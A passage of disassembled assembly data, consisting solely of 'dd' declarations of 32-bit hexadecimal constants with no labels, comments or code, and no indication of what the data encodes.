2ADCDCCBh, 0D50862BEh, 0B0FC1C0Bh, 5ECF864Fh, 0FE2C3868h dd 0E56305Ah, 1E5AD760h, 833C4827h, 79A7311Eh, 0D5818EECh dd 7525BE02h, 1B5B020Ch, 3FD2EACDh, 4538053Dh, 523319E4h dd 2DCD1E17h, 878ACA57h, 0D63B263Bh, 0B2D1908Dh, 0E3496C0Ah dd 0A4C55ACAh, 47C2F07h, 4AA16F7Ah, 0A48D3568h, 22FE64A1h dd 0E2F5A0A4h, 6912B7FAh, 0E14D9270h, 98F8AA07h, 882B3554h dd 0F9FB6AFBh, 0FD86D6E6h, 9436C48Ah, 10E82CEAh, 0E6DCECBCh dd 3A831282h, 0ABF749C2h, 20448DD9h, 0B8B69634h, 0D4547ABDh dd 5FD14287h, 0C6DD7A35h, 656E86FEh, 35BA15D7h, 0B64464F0h dd 30339B0Ah, 572B11FDh, 0DAF21A18h, 0B40776B8h, 88B18F37h dd 89C8180Dh, 0B2390CCFh, 0D80144Bh, 6BB6CBAh, 5A50E90Fh dd 0F86808Bh, 9069021Eh, 0B47BCF1Ch, 531FE7FEh, 0E597BF96h dd 4C214D98h, 0B2A13538h, 26C60D9Dh, 0A2332A3Eh, 2EF0E13Dh dd 74D398C4h, 926DDDACh, 0CA37F81h, 0D40844BBh, 33165172h dd 60F6AD59h, 1C9C545Dh, 3B9668D4h, 95B40C09h, 0A47E6B97h dd 0E175D05Bh, 70479DADh, 0AE5953D2h, 8508986Bh, 0B951764Fh dd 0E8B3B9D1h, 9EB5DEB8h, 0CAF6FC85h, 0FDD87235h, 93F39970h dd 36872EC6h, 557D778Ah, 4D78D7C8h, 7DE5AFCEh, 7758D267h dd 6AF3DC74h, 0BBC568A7h, 0D3D5E5FCh, 0B4596F72h, 37A68127h dd 4A5A1E16h, 5DE39166h, 98B06713h, 0F6F073D6h, 959A39CDh dd 80859DCh, 0A66BBBDh, 0DC7154AEh, 8E0025ACh, 629B401Ah dd 733A4167h, 1E210394h, 0BA699515h, 6C569855h, 362FC2D9h dd 0B12A5787h, 0BD09F179h, 0F393F19h, 0B44D70A5h, 0F094D89Dh dd 96F1705h, 0E63160EBh, 0EEC9227Dh, 8C0E7A5Ch, 0DB028DA6h dd 0CEAA29C3h, 0CF3D90A9h, 0D58FEEC3h, 1DF30489h, 7C3C6769h dd 314F381Dh, 9E091339h, 8CD9B940h, 0ED042F81h, 7C4A9423h dd 5590EAA1h, 36129A05h, 1B1A39AEh, 0BB9888F3h, 0A99FFD7Eh dd 8F064260h, 0B2E69E13h, 3FCBDC11h, 329029FFh, 60616DB6h dd 3F13E987h, 3F8D5282h, 628A905Eh, 0C9E2353Ch, 0D72F2325h dd 3A31D06h, 3C0B60B3h, 11BE6AEBh, 0FFFC3A14h, 1310D726h dd 0D40C77Bh, 1ABB59h dd 0EF1310D3h, 48B16F8Ah, 7AA1F13Bh, 78B96B49h, 0CC17DFABh dd 6613CF54h, 0B416A9DDh, 58B98D01h, 378BFEC4h, 77021E21h dd 0F23BCE01h, 8630FA70h, 3F9C697Dh, 0B06CFB3Ch, 142270C3h dd 9E8494A0h, 0B234234Ch, 0E0547E05h, 0F3277042h, 8783CBEBh dd 5D3FCA2Eh, 93D29528h, 1E60FB01h, 1D639348h, 0FD3717AEh dd 999EFC23h, 356C85h, 6B2809CEh, 0F00462DCh, 1B43C981h dd 82C19D64h, 5B3C163h, 8BC611C7h, 6850A9DEh, 5C8772DDh dd 6493FAFh, 63BFD815h, 2D7E38A8h, 0B890C372h, 0C65C7DDBh dd 0AAD40CEDh, 0E5C016A8h, 43DF9A34h, 0F7E3CECEh, 0CD6A7E1Bh dd 15E6A6A9h, 72662123h, 392DE1BBh, 27313B5Dh, 9FF6E8D0h dd 0CE2D8FC9h, 6230DF0Eh, 0B184C3EFh, 0ED29710Ah, 0CAFCC139h dd 307766ADh, 3C9E6484h, 554AD295h, 0DBDBD450h, 6367217Ch dd 4FB0116Dh, 327330C4h, 90087A08h, 764A2A3Ah, 0B03D355Ch dd 0DA8922FAh, 0C1E7618Fh, 0DB067DF9h, 520EBA21h, 0B512E76Ah dd 599CB4F1h, 0F04CAF4Fh, 22AE7ADFh, 95C63A54h, 8AA3FC1Ah dd 88E75DBEh, 573A5419h, 40A695E9h, 20AAAE60h, 670CD8EAh dd 0B00B3FE1h, 87087B06h, 47819B18h, 136DE22Dh, 0B482963Bh dd 67AA27DBh, 0EF68B0DDh, 0A5C0EFD1h, 0AAFC6068h, 2AE3D068h dd 0B2FC9DB2h, 0A8F82331h, 48014B42h, 3477DAB9h, 0A1CE27AEh dd 6E034C84h, 0AED57F15h, 0FEB3EEBCh, 0B1412274h, 2D9C1272h dd 65EAAA2Fh, 44D16B7Bh, 9581AF4Bh, 0D18C77D9h, 51627D56h dd 0F12842E2h, 1A9A8A03h, 0C68EDA60h, 0DFF82674h, 0F32A954Fh dd 73F98CB3h, 992DC60Ah, 0C9DDE2A2h, 36CDD6C3h, 0DEF7E621h dd 28CFFD7Ah, 293B9B8Bh, 0A2237D76h, 2695416h, 0DDB62AAEh dd 303295EDh, 0E7341E9Dh, 0AAFE852Ah, 85CDB37Dh, 0CA41027h dd 3D1291F0h, 0E6D562E3h, 11E12784h, 0AA816564h, 0FF1EC5CDh dd 8B403BA0h, 7C9DB3B2h, 7B482C69h, 0F3823F40h, 576937F6h dd 4F41C9EEh, 224ECFB6h, 0A20A7B59h, 92A01B0Bh, 517AEFAh dd 90248284h, 0FCD3D5F5h, 0C97379E2h, 30342795h, 6F487CCCh dd 0F97B1B1Ch, 5501723Dh, 20F57E8Dh, 31EEE23Eh, 853A5D45h dd 1F935CC6h, 91D64B5Ah, 5F249123h, 0CBA31456h, 81EE562h dd 93269810h, 0E5145F3Dh, 94F33BEh, 6410E610h, 38B73194h dd 7A957733h, 3D73FCDDh, 0AE29538Fh, 43473DEAh, 0F8EFECDh dd 40270F41h, 36299212h, 18AB08A5h, 1B2D2CE5h, 448C1CEFh dd 0E8590CEAh, 0EEB30CD8h, 0E22706E4h, 2D58F8D1h, 6607C5AEh dd 0EED2C0B1h, 387B3A15h, 7E7064C6h, 9A6E6CCAh, 263D8C87h dd 0FE70B1C3h, 1240A6F2h, 7B631E2Fh, 722280F3h, 0D304370h dd 0D5F40122h, 0D35922Eh, 3CDAFE9Fh, 0B7DB5642h, 8F52F9EFh dd 0B82EE36Dh, 0A38DD01h, 33DC12DFh, 6F3FB30h, 69726F1Ch dd 98A98B86h, 44D300C5h, 0FCFFC6C5h, 6A8B9083h, 0E8A4C4A2h dd 3C442F7Ch, 89C4CB4Fh, 811220ECh, 25ACDB22h, 85CBBBAFh dd 0F8296375h, 66C7F2A6h, 0FF30DC79h, 0A6E3BED2h, 2B300591h dd 8F38118Ah, 4DD00386h, 0BE3391C7h, 0A1186D4Dh, 729CEEF2h dd 52F150C4h, 4315E278h, 16DC400Ch, 0BCB51235h, 0AF40FF5Ah dd 7CBC6A18h, 0A2F6E4Eh, 3DEE8B7Ch, 8E742B5Fh, 9312486Ch dd 0AFD5895Ch, 97D9CD42h, 8F929EB5h, 23EAFAB0h, 363DC719h dd 16740CD7h, 0A0DFCB9Ah, 1A70F66Ch, 7AB65040h, 0C7A43EF4h dd 0BB2AC2D6h, 0FDBE2D6Fh, 50A767DDh, 1DE6339Bh, 0C6F1DCE0h dd 43BC028Fh, 0B16E40F3h, 2EB805D4h, 2BDEDF9Ah, 692751B9h dd 0CA98D824h, 8388FC1Bh, 9D14BF8Dh, 318D9677h, 4DAD5469h dd 1F8143E0h, 9FF12B06h, 52DCD650h, 0DE9ED457h, 0CC6264DAh dd 51FB3FDAh, 79E86822h, 6FB317D5h, 3BB32EB2h, 670F63F3h dd 0B17E78F1h, 4EF4632Dh, 844772BAh, 0F6CC7269h, 0E95075C6h dd 0E7E47DDAh, 0EF6BDEC9h, 4FB313BCh, 0D97CA159h, 8166ED9Ch dd 0A7C53981h, 0F5F858DCh, 4D35F24Eh, 31A13975h, 8E4CC961h dd 0E6830E53h, 1295DD0Ch, 71CC2A27h, 3DB0D408h, 0E61B9A11h dd 0FB2D9D4Bh, 61397B89h, 52C7ABE6h, 787D9F4Dh, 66DB154Bh dd 908914A1h, 2203B287h, 0CA8486FEh, 708B5020h, 3005E3AAh dd 0A05181E8h, 5C4ABEF8h, 0CCC2592Eh, 6E402C10h, 445986EFh dd 0C8FE363Bh, 2F712C1h, 2F3632CCh, 0A2CFBDE7h, 29B04443h dd 0A11A008Ah, 1F2058DEh, 8CDDCDD7h, 0E92EFD68h, 7808DD4Eh dd 430D7A2Dh, 1B7EA945h, 1DD78A75h, 0F74FBF1Fh, 0DC4F100Ah dd 90B07445h, 0F6E6799Dh, 0D77E6604h, 907AF28Bh, 9274665Ah dd 0EC2B7B99h, 36BBCF4Fh, 687EE51Ch, 8904D8B6h, 2DB8ABBEh dd 0BD31738Eh, 10BC5A11h, 0BC5D352Fh, 1F41AD3Ch, 3EF141E5h dd 0ACDCA543h, 0F22AFBE4h, 0AC114D4Eh, 0F28FB6B6h, 1B1F2D0Eh dd 46C0F2FFh, 76D153D4h, 0E42F74B2h, 4DED33Ah, 0CFDAD8E9h dd 437100D9h, 15FB554Bh, 350D4832h, 8937762Bh, 0E8ECBA8h dd 0E6A19CCBh, 699968Eh, 0F09CE063h, 0B173C1A8h, 8B26C9C9h dd 7D1CEDA9h, 0E6D6A438h, 0B98BA3E9h, 30C5965h, 0DE0348EDh dd 0FCA7B36Dh, 40DAD474h, 0F4FCB83h, 94607C09h, 768100D4h dd 0DCB3A610h, 0AA464789h, 1E24556h, 9BFC378h, 0F8DA8AD0h dd 0AF47688Fh, 4875F3B8h, 3F4D19F6h, 6F36F78Ah, 0A7C48E73h dd 92EE2A11h, 836FA31Dh, 1266175Eh, 26ACBE17h, 28065F2Eh dd 4BE88F3Eh, 0FC68B4D9h, 0BD5B0EA9h, 0AFA6E510h, 0C38020D3h dd 0E3FB7F32h, 0F790A28Fh, 0CA506D38h, 0F91922D1h, 93ACCC26h dd 6BE33444h, 3DEE2C39h, 0BE92C545h, 0A6EDAACCh, 0AB5BAB11h dd 4218AFBEh, 33C4B316h, 0BF80A08Dh, 0D7B0C6EDh, 747200DEh dd 12D4DB1Ch, 0FBFBA68Ch, 0B0E71E3Ch, 0F5E2509Eh, 3671D4E0h dd 0F441C5ACh, 70A6CFEAh, 2D4C1AB4h, 0B2E06917h, 1484478Fh dd 0C9882159h, 0DC485A51h, 9EFC1E49h, 28AD0B91h, 0CE26B1BDh dd 0E57543A8h, 7E7EE5E2h, 0F0EDCFD3h, 0C58D63BCh, 0B9056471h dd 0E9BCEEA5h, 0DE8E0F57h, 9515C3FDh, 48651CDDh, 434A4FF2h dd 0F1E3544h, 885AEDE0h, 6138E93h, 716FF948h, 0BDEF9DDAh dd 3FF8CAE9h, 44DCFA64h, 273CB0h, 7397A4FBh, 49799768h dd 899FA9DCh, 0A5477EB3h, 93D7FC7h, 54E04F99h, 0B218CF3Bh dd 0F4F472E6h, 0A4D5FF0Bh, 0CD0EB68Fh, 6A01829Ah, 0B3A2FAEAh dd 12439335h, 260A228Dh, 76BE1D84h, 7D626726h, 857DCEE2h dd 0FFFD2595h, 551B06E7h, 4669F27Bh, 664B1795h, 35E09BE6h dd 7E359BE4h, 732982C3h, 49336565h, 3E66BB49h, 0C4077DFEh dd 0C7AB73C7h, 0B9312BABh, 0A8E04217h, 0F60CC1CDh, 49075981h dd 11E586FDh, 5B7F818Bh, 16398E86h, 38E9DEEh, 24348E52h dd 880F0751h, 0CC84D84Ah, 2B219A60h, 0CC9ED33Fh, 0B0AFA397h dd 0E2EA5EC0h, 18067FD6h, 8948F084h, 6681DD0Bh, 0EE9BA71Ch dd 2354523Ah, 449F0C81h, 8E645971h, 5F1E0FA5h, 5055AB47h dd 0EC0D5EB9h, 0BDC21652h, 8FBED9B7h, 0EEB92EE9h, 83576F1Fh dd 0DFF9C8Bh, 0FC3AA9A1h, 3CA2B50Bh, 6D4DA253h, 7AB1F8C1h dd 0D48719A4h, 0CE66BBCDh, 0B3045B2h, 9362F7A6h, 0A29D3D33h dd 1159BDB9h, 0F7BAEDFDh, 0CE830594h, 3BA25A2Dh, 7062DF17h dd 1DFCBFEFh, 8E26BA48h, 0BF34B21Bh, 0E643FBBFh, 0ED53021Ch dd 9242A1BBh, 0D535F18Fh, 0DFB4BBEEh, 5E14E03Bh, 12D10C8Dh dd 50EF17A2h, 4719B3FCh, 0FF64B101h, 30B2AEB0h, 7BC91335h dd 5C27E25Bh, 0C09F0922h dd 1465D541h, 65CDAB34h, 4ABFF0ADh, 2641AAAh, 412DFD6Dh dd 0E2A4E12Fh, 23A4AC17h, 0E71F9933h, 274654BFh, 8CFF8E1Eh dd 5A91F831h, 82197852h, 3AB0CDC3h, 0EAA15E14h, 0A41F95B5h dd 1F2E670h, 480AE436h, 0F3AF2FDFh, 12E09267h, 0C8DB8626h dd 5498DA45h, 8C8A1AEFh, 8369E97Ah, 0D8812777h, 6903E1ACh dd 747D629Ch, 12CF1E36h, 3E818912h, 6ECF7863h, 5A183512h dd 0A9071E96h, 9D6D4DA9h, 2177F101h, 0E61B9678h, 0F2731326h dd 30A8921Fh, 0FAF483CEh, 6D35A1F4h, 1326F05Ch, 9FFCB79Ah dd 8D4BDF30h, 3E3C5613h, 0E3244144h, 0D6E4BA60h, 995BA540h dd 0A08F54Bh, 0B87EA6A2h, 0E05D7AECh, 31675CDh, 7FF7DA69h dd 59CBFF9Eh, 1A865EDh, 0D259CBB1h, 0E85FBCF1h, 4AF61B0Bh dd 1B88274Ah, 66E7BF8Dh, 0B217164Fh, 1D48464h, 0DA082F65h dd 34FBB0E8h, 6288AC07h, 0D4462D33h, 3E244A66h, 4EBFDDC9h dd 0CDA8FAC8h, 140A67A1h, 39154EB2h, 0B3633644h, 0B90182FAh dd 0EE852471h, 6CF99A07h, 35EC4304h, 0D5C67366h, 32FC6A5Ch dd 98495CE1h, 0F1AEEC6Bh, 0A0622D7Fh, 0AE7CE676h, 0D9DB5E37h dd 9E91385Ah, 752A8D84h, 1B096205h, 26F988EBh, 0BA38FA47h dd 1E239524h, 0E6B8A0C9h, 7A3E35Ah, 6B249182h, 0D6C195A2h dd 6298B27Ch, 0D030D9Ah, 20009E3h, 810FEA7Fh, 0D989D58Ah dd 0FD076DE0h, 0D024390Fh, 630C039Dh, 0B51E3938h, 1C45CA20h dd 0EB1A69A6h, 0E56ECCFFh, 0AF84198Ch, 0F41DC34Eh, 65ADA10Ah dd 1F56C45Bh, 0AE91D29Dh, 3D122AEDh, 0CF9ECCC8h, 0E340C5A6h dd 0F2C233A3h, 3A0400FAh, 0EA048F3h, 85700AF8h, 0B6CC7AA3h dd 0A685A5AEh, 67D1ACBDh, 0B8A5C892h, 0FF171CCDh, 24300A32h dd 1CB080BAh, 0A8D5B3EEh, 0D169441Ah, 8DCEE3F4h, 0BA19B10Dh dd 2952C9B1h, 9DF309AEh, 0D32B8850h, 0F394F9B5h, 4B43D6F6h dd 0FC75FF35h, 96EE0B43h, 7C894A27h, 0EFC8E5C2h, 4C2455EEh dd 5A86B9B7h, 26A94FAEh, 0E4B2C361h, 0C5A56C5h, 0CFCB87DBh dd 95D3242Dh, 0F96DA58Eh, 78B9DA70h, 0DE127E66h, 24391CBDh dd 556F6357h, 6A3121FEh, 0F8698DAFh, 43CB3622h, 0ACACCE0Ch dd 0F0E86873h, 487B3BB0h, 4A883F54h, 0CC3D12E4h, 90B46E5Dh dd 4D7DECC2h, 9337A609h, 0B86D4A86h, 5C437F60h, 8B3A2368h dd 0C934EB1Dh, 0CBE1FDDAh, 3EAC732Bh, 6478AE6Eh, 41D908F6h dd 63DC29BAh, 2445B7F1h, 98203B50h, 4C40066Ch, 2F6D4CF0h dd 5085854h, 0B6E0348Fh, 2819809Ah, 8C36647Ch, 6B134502h dd 0C7B40F36h, 0F3D59DC6h, 1EE17F1Eh, 3CE69639h, 286B97D7h dd 0A3B777F7h, 4F5AD771h, 8A493E89h, 0D8830324h, 27DCA36Dh dd 9FC6B61Dh, 0F46F17Fh, 8935BAD0h, 1084C52h, 4433BAF2h dd 424377BAh, 5CD4A743h, 78412CB8h, 5BB61CD2h, 5BA337FCh dd 0FECE12DBh, 2AD957Eh, 4FA27261h, 6AFE38A5h, 7F581E76h dd 68502B1Ah, 0F3FA77D8h, 54798035h, 3F233F8h, 6D166A8Dh dd 645DC038h, 2D1AC55Eh, 3AF00C2Ah, 0D43DEB46h, 0A3B8F203h dd 93E61517h, 0E676C467h, 4838BBDEh, 6AC3667Fh, 0E4D4C69h dd 3B28FC00h, 3A26E1E4h, 62C9906h, 366F8C88h, 0E2D9F9A3h dd 3C66183Eh, 99BE6872h, 0F8B0C2CCh, 2FFE5CD6h, 2203B859h dd 0EAB65458h, 8845A3E3h, 9EB579F3h, 0E2F76BEAh, 77C5BE7Bh dd 0FC0BD979h, 0E20F6E8Fh, 21E2539Bh, 27494A91h, 0BF64A212h dd 94F96D25h, 1E9CD902h, 86991615h, 0BFDBA221h, 0EBB6C2DBh dd 456A8890h, 8B450C74h, 2E4EB1BDh, 697F9C8h, 0E4F2EF09h dd 1E855135h, 7F0E8116h, 7A9A7EC2h, 2E5E3E71h, 908ABA7Ch dd 4EBC302Ah, 81FB1C43h, 2364A3CEh, 0F4EC0AD4h, 0B4B453D3h dd 2D46BD1Ch, 0BD274DCAh, 66F0C558h, 859446F6h, 8B377D1Eh dd 290F05Dh, 0C67423B6h, 52975C48h, 0A1E584ECh, 0CA426AB0h dd 0F10A921Fh, 279F8FEDh, 0FBA43C2Dh, 0F0F06479h, 0BE0E735Eh dd 5CD3B1D4h, 0E3FE1E21h, 72B7F914h, 9FFC2AF2h, 0F0F3643Eh dd 7A43BAC3h, 9EBBE2D1h, 9CF29B43h, 1E769675h, 6A931ED2h dd 45617825h, 0E71AE3CEh, 0E5929921h, 3E63734Dh, 0B587E5Dh dd 984A2DAFh, 284BF61Ch, 0B034FCDFh, 50AEB021h, 4939F5BCh dd 70B0FC33h, 0D7035A1h, 56FE735Fh, 0D643DE16h, 0DCE0231Eh dd 0B0CEB4B4h, 8BF9DD5Fh, 6412958Eh, 362B5288h, 67C26501h dd 47B61C6Ch, 0C1F107A2h, 73AF2730h, 98FE7AFEh, 1E32F0F2h dd 0FEC8FE9Ch, 50AF0C16h, 0E5425861h, 7099E871h, 4F86A9F9h dd 0A257C8F1h, 0A8610420h, 71843E00h, 0ADC0BCBBh, 0E026FF45h dd 3E9DB16Bh, 5721FF80h, 5A1BC7D7h, 0A7D8262Eh, 3FD04575h dd 2028C391h, 4DB458CAh, 0BCE9F798h, 35A9783Ah, 860E0DC8h dd 0A4E169F3h, 3FB4A656h, 72D18912h, 28FBBEDAh, 8D263087h dd 0DFE61DA7h, 5CCF9699h, 0DA14C8C3h, 0DCD5E4DFh, 630C9C6Dh dd 24E2911Fh, 47EAF25Eh, 0A7C5C08Bh, 8E052537h, 1B7F0EC1h dd 0B092FB7Ah, 59A10034h, 9EFB5BBBh, 3F4E92CFh, 0D1598617h dd 0ED5CE4E0h, 0BBCBB78Bh, 0F772F344h, 0A51C7848h, 0F507437Ah dd 3BF2F783h, 34240377h, 8F18686h, 0E3C7A2ACh, 375D9AC8h dd 58982648h, 19538361h, 565ECAE3h, 0C7567652h, 0C9D3A226h dd 681FBD22h, 0D0C9CAACh, 7EE0CC89h, 0AF8AC488h, 0DE022AF7h dd 98D1B524h, 84A1E758h, 0C5C75997h, 986EB4DCh, 33BF1C35h dd 1C4BF83Ch, 0DF1E990h, 0AAC3E802h, 373747F6h, 0DB82C092h dd 0CD84F04Ch, 6936BD8Fh, 0F08DE6Bh, 0EFA38BD0h, 2B4ECA1Eh dd 0D65E39B6h, 6E350D98h, 1A9D492Eh, 4EB740B6h, 89176784h dd 42E89FA4h, 5CB4BDD6h, 0FED22BCBh, 5F9A4238h, 96BB5049h dd 7E497D3Dh, 227792F7h, 0D616620Ah, 0D36EAE08h, 2A570C7Ch dd 0FE869E50h, 90A4855Fh, 246E679Fh, 42079029h, 858FF426h dd 83FAC569h, 0A7036557h, 1CEB4343h, 35797C0Ch, 0E5543899h dd 56C51C13h, 2907145Dh, 89B521F2h, 312A7661h, 24991076h dd 695057A8h, 5B958184h, 0ECB26DF4h, 0A151E3D3h, 1253BB21h dd 7E412C8Eh, 6C7534D6h, 3A861983h, 6278E678h, 7010D224h dd 408C45ABh, 99209D75h, 3126C640h, 0C525A0EFh, 0AB75CCF4h dd 362F6389h, 81615FA9h, 4B282020h, 0C3D74C6Ch, 316AE84Dh dd 35D76146h, 0B0606E4Dh, 70482050h, 3030DF2Bh, 691C5F3Bh dd 2F53BCF0h, 109A3530h, 356D98A4h, 11A5D582h, 0CF2566BDh dd 0F601E12Dh, 0A8E8B068h, 85559733h, 0E350C80Ch, 0CEA06DB2h dd 2E1DB7CDh, 0DA5569EEh, 9A29CBC7h, 0C4A5B140h, 0B159C096h dd 82E48C95h, 0D2C0C5Dh, 51A7E295h, 6DBD43ABh, 0E2DEF448h dd 7F8191BDh, 39C5FDB5h, 77710C9Bh, 9F7F6382h, 0E53D8F72h dd 66535F8Dh, 0B058F67Dh, 94F6D8BFh, 0D66CAEE9h, 0FC9D400Ah dd 0A08AC741h, 64F90CDFh, 0D327BD60h, 0A867A345h, 8B838582h dd 21E4EEDFh, 5FD622Dh, 5BA9398h, 1150524Dh, 419F868Ch dd 48684EC5h, 56E814E6h, 8D24EC65h, 5A2CFC7Eh, 527138B7h dd 5CC0810Fh, 0DCC2411Dh, 82BD1DF7h, 0A05A6102h, 0DE34FB1h dd 4CF642BDh, 79EAE4F0h, 0A152DFC2h, 62B57AA3h, 0BD54FD7Eh dd 8EAEF94Bh, 0F3EE25C8h, 2266499Dh, 0ADCEFC22h, 0C98C5307h dd 3653AA83h, 67E645C3h, 0ECE92AD2h, 0E42DF4EFh, 91ABDF7h dd 75F4A687h, 0B3A37B45h, 80D4F9E2h, 0B736DDC7h, 4E81B4Bh dd 0FD435F6h, 60737424h, 168C345Eh, 429B6CCBh, 83C878h dd 85FAE9BEh, 6EFAA543h dd 81090802h, 0AFE6DD45h, 4FF4AC10h, 0E254D349h, 0E3531DACh dd 9CE565FDh, 0B836C565h, 1E508576h, 0A62052D1h, 4AC6F54Bh dd 2133731Dh, 0A350CBCAh, 26D8A74Eh, 49B1BBE4h, 6FC5A65Dh dd 9047427Ch, 5A1AB820h, 0E9ED5A0Bh, 0A3296330h, 7877955Bh dd 5E5C3F6Dh, 0F17FDEEDh, 549B16Ah, 82110D07h, 5EF61730h dd 3FCEE8EBh, 8EAAEDA7h, 5085A6FBh, 800849F9h, 0E8D4A499h dd 4D07D2B9h, 0B1202287h, 0FEA1057Ch, 556198A8h, 4C515284h dd 3EC0FF18h, 65E21453h, 0AB36F8FFh, 39EF6866h, 6C23E6BCh dd 9D5003E3h, 2ADCF575h, 7A6FE35Fh, 7083EAF9h, 0AC82A821h dd 74630555h, 0AC45F311h, 818482CDh, 0E9453D38h, 0E4B8FF68h dd 0FCD88EC3h, 79C8C0Bh, 0C6090932h, 38EB2D04h, 42EC716Ch dd 0E91D4AB6h, 105E366h, 0F1E43A8h, 5DCBBB05h, 8AA468E4h dd 0D878954Fh, 1D9BA01h, 4D81FC59h, 8659FCACh, 0FEE0639Dh dd 38196DAEh, 0BFABC66Eh, 0AD3A33D3h, 3F7C2431h, 0D7E1A98Dh dd 9233361Ch, 857308BEh, 0AE753DB8h, 0E25884E2h, 0BC4CD72Bh dd 9BEF8C37h, 304A33EFh, 9ED4A617h, 6ED350EEh, 0A3168B16h dd 287B5FC9h, 67D38390h, 3CF0717Fh, 2C5A788h, 0A15C8A42h dd 0ED1C6AF2h, 7287E59Fh, 68A44A4Bh, 9E334C30h, 74C13658h dd 4CF62EA9h, 0CAD30733h, 1352C90Eh, 0B9D36774h, 36109405h dd 5693E69Fh, 6D47BC0Bh, 0C293AC73h, 2A0DA328h, 0EEEF762Bh dd 778AA0Fh, 6C08E220h, 368A30F9h, 0D28EC2B9h, 56603EC9h dd 56DD8B01h, 0D4D1A80Fh, 5A98AEDCh, 2D01A7Ch, 0E611468Ch dd 9AE00851h, 0C9A24F64h, 213E0D7Fh, 247E6A56h, 2165FFAEh dd 4700A83Bh, 516AF6DEh, 0A25C94F9h, 7A196CB9h, 320BBEDAh dd 2191BC49h, 6939819Dh, 0F7D30C9Eh, 7986F677h, 0B3FCE1Bh dd 4FA858Ah, 0BA907B99h, 54A60972h, 1D93B95Eh, 0B93F9931h dd 0AA77F380h, 0D1B6B74Dh, 0A33876EEh, 44BDFEF2h, 328C6A4Ch dd 0B4929DEBh, 532389F3h, 0E5632334h, 7FEB6ECDh, 0D788F98Eh dd 93D99877h, 0DD1E7AAh, 577D69AEh, 10E59942h, 0EC740A2Fh dd 0F5AD0833h, 7E790905h, 0BA8D68FCh, 0E97B6BB3h, 6253ACBEh dd 7F952FBFh, 0E46300DCh, 0DAB69280h, 0D6CB88BEh, 7342CAC4h dd 0C77B03C9h, 0E702D7EEh, 389A6A95h, 30E8A33Fh, 69C9BC3h dd 0C9619EB0h, 0DC723CEDh, 0A68DA3A0h, 63711BA1h, 847C5A80h dd 0FAF1A728h, 0F3D8A766h, 0BB3CCB88h, 0BE48AF18h, 93B9A8E4h dd 2CDCCC1Ah, 6F631255h, 0AB3E5A5h, 0E6FC2B86h, 0DCC5F349h dd 0D4479E39h, 79D6B7FAh, 55626040h, 0FF72B321h, 3785FE46h dd 8E2E025Bh, 40DB9B55h, 0C509201Ah, 5593038Bh, 0F75648C6h dd 0D3EAD19Fh, 0C449F5BAh, 0A6E4B354h, 0DAA6F612h, 0B96E48B3h dd 9EB20444h, 0F278DB05h, 0A3FC1ACDh, 0A8EA0140h, 7AA06E66h dd 788FE25Eh, 0E9BE3E52h, 9075889Eh, 0B5D0655Dh, 52D24F45h dd 9811DE5Ah, 8599F496h, 8EDB6108h, 91406F7h, 4BB67788h dd 0A3B12A8Ch, 1C20E634h, 0C77A9446h, 8077BEFDh, 0C7F9F47h dd 7E7EB243h, 0A28B58BBh, 0FDFEC4B4h, 0A7B71200h, 2D6F3071h dd 24024573h, 38028ADAh, 6AD6D33Fh, 0ECFE11D7h, 5A02301Fh dd 687D6A26h, 94A6CE09h, 51826AF2h, 97B070h, 9B2A4B6h dd 0B2374164h, 7CE4EFCFh, 0A3532FA5h, 0E5C26D87h, 0B677635Bh dd 458BD0EAh, 8B1E385Dh, 0B4273728h, 360F7FC1h, 0FF2606F4h dd 4B3872A7h, 25B6E6CFh, 1DC40C3h, 45187DF4h, 0E0ADDD57h dd 0AA720417h, 0F676751h, 0A83270B8h, 666F2C98h, 652D7004h dd 806A75A3h, 0F371B91Dh, 0F781F3EFh, 4686E6E8h, 0FA8FF77Ah dd 177DB407h, 0BBA7FB00h, 9BC99EABh, 2A32BC7Bh, 564E86A4h dd 7079E8C3h, 0C1851CB6h, 5846ABC9h, 938390D0h, 92DDAA41h dd 780F2B58h, 204AD712h, 0BDBBE8A6h, 428004D7h, 0F35288E2h dd 0E9329CE1h, 0C04DEC3Ch, 11ED7760h, 0FCB7B2F7h, 0B87446F1h dd 0E837A5D3h, 0B5428537h, 693F7B49h, 0BBDAB65Ah, 0B81BA43Eh dd 0B2E9F74Dh, 0C90BF22Eh, 0C112902Bh, 0AB6EBB79h, 9C751AD7h dd 85503C5Eh, 0E32018F4h, 7506E0A8h, 93A065C7h, 9A192779h dd 365BA7F1h, 0A387977Dh, 9A135FD6h, 63B338B1h, 2BA0139h dd 61D1D9EBh, 0AA9280F1h, 78568584h, 0B89B5C68h, 9ACCF0CCh dd 0E004AD1Ch, 0B8648567h, 84275138h, 147E3E6Ah, 0D0D50D98h dd 67B8CC51h, 939D6C57h, 43EA4132h, 0FA7293ABh, 4649EDF8h dd 6B5E5B49h, 0CB61C826h, 309FAE1h, 25C31A21h, 6A42EB41h dd 9415DC9Eh, 93AB2F12h, 0CED5BCBBh, 0EDEB1C42h, 0C2D98A07h dd 0B88C3575h, 0CDC50A6Ah, 0ABAF0279h, 0DC999570h, 4BB81424h dd 9DFFC192h, 2CCBC51Eh, 0B024CC04h, 0E6AAE9B4h, 77C99751h dd 2B1108CDh, 0E29DB050h, 33690DDEh, 0CE324AD2h, 520BCC23h dd 0CFC361Eh, 0E63D4CCEh, 7B66B803h, 18CE344Ch, 84CDC78Ah dd 0B751E8FFh, 0BD09C67Ch, 595E97CFh, 94BF2E33h, 5447D1F7h dd 9F3B758Bh, 0A60CFCA3h, 0E8512CECh, 0ECB9E03Dh, 4E17FA8h dd 0C32213D4h, 8AC47FA1h, 6F04AB5Bh, 725521A5h, 79DE4685h dd 90DA9531h, 2EC2282Fh, 917E7E72h, 0B97B2985h, 0A768FC4Eh dd 5FED1347h, 8301F7FBh, 1A2DBCB7h, 0BB0F136h, 0CC58D51Dh dd 7A292A1Ah, 0B09CF37Bh, 2ED0A425h, 7D38C1AEh, 3D971479h dd 0DF6E1502h, 30C0FB9Fh, 0E4D0CC72h, 0DDB80D80h, 47B5876Dh dd 781AE319h, 0ADFEF770h, 0EC069EA9h, 6CD2D55Bh, 0CC8B65h dd 0E79D3659h, 2837630Fh, 884F29FDh, 99B7E869h, 0ED460128h dd 7AF504B6h, 5C6EB752h, 31BFA43Ch, 0B9E0CF33h, 8B05A513h dd 4B9D7F9h, 6FFF0EBh, 0FB6CCF1Ch, 496BC7FFh, 494D4C7Ch dd 8E660D3Ch, 0B6B27B5Fh, 0FC5E7A79h, 0E15DBFBh, 24BD981Bh dd 23773E9Ah, 7738A1D4h, 731DEE2Eh, 0C1D68FAAh, 568B5BD8h dd 5F98739Bh, 1BBAA56Ah, 687935C4h, 